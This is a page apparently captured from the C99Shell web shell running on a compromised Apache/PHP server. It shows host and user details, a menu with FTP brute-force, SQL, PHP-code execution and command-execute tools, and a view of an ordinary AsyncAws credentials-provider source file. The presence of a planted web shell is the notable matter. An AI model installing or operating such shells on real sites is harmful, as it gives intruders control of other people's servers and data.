!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Credentials/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ChainProvider.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Credentials;

use 
AsyncAws\Core\Configuration;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Symfony\Component\HttpClient\HttpClient;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;
use 
Symfony\Contracts\Service\ResetInterface;

/**
 * Chains several CredentialProvider together.
 *
 * Credentials are fetched from the first CredentialProvider that does not returns null.
 * The CredentialProvider will be memoized and will be directly called the next times.
 *
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
final class ChainProvider implements CredentialProviderResetInterface
{
    private 
$providers;

    
/**
     * @var (CredentialProvider|null)[]
     */
    
private $lastSuccessfulProvider = [];

    
/**
     * @param CredentialProvider[] $providers
     */
    
public function __construct(iterable $providers)
    {
        
$this->providers $providers;
    }

    public function 
getCredentials(Configuration $configuration): ?Credentials
    
{
        
$key spl_object_hash($configuration);
        if (
\array_key_exists($key$this->lastSuccessfulProvider)) {
            if (
null === $provider $this->lastSuccessfulProvider[$key]) {
                return 
null;
            }

            return 
$provider->getCredentials($configuration);
        }

        foreach (
$this->providers as $provider) {
            if (
null !== $credentials $provider->getCredentials($configuration)) {
                
$this->lastSuccessfulProvider[$key] = $provider;

                return 
$credentials;
            }
        }

        
$this->lastSuccessfulProvider[$key] = null;

        return 
null;
    }

    public function 
reset()
    {
        
$this->lastSuccessfulProvider = [];
    }

    public static function 
createDefaultChain(?HttpClientInterface $httpClient null, ?LoggerInterface $logger null): CredentialProvider
    
{
        
$httpClient $httpClient ?? HttpClient::create();
        
$logger $logger ?? new NullLogger();

        return new 
ChainProvider([
            new 
ConfigurationProvider(),
            new 
WebIdentityProvider($loggernull$httpClient),
            new 
IniFileProvider($loggernull$httpClient),
            new 
ContainerProvider($httpClient$logger),
            new 
InstanceProvider($httpClient$logger),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--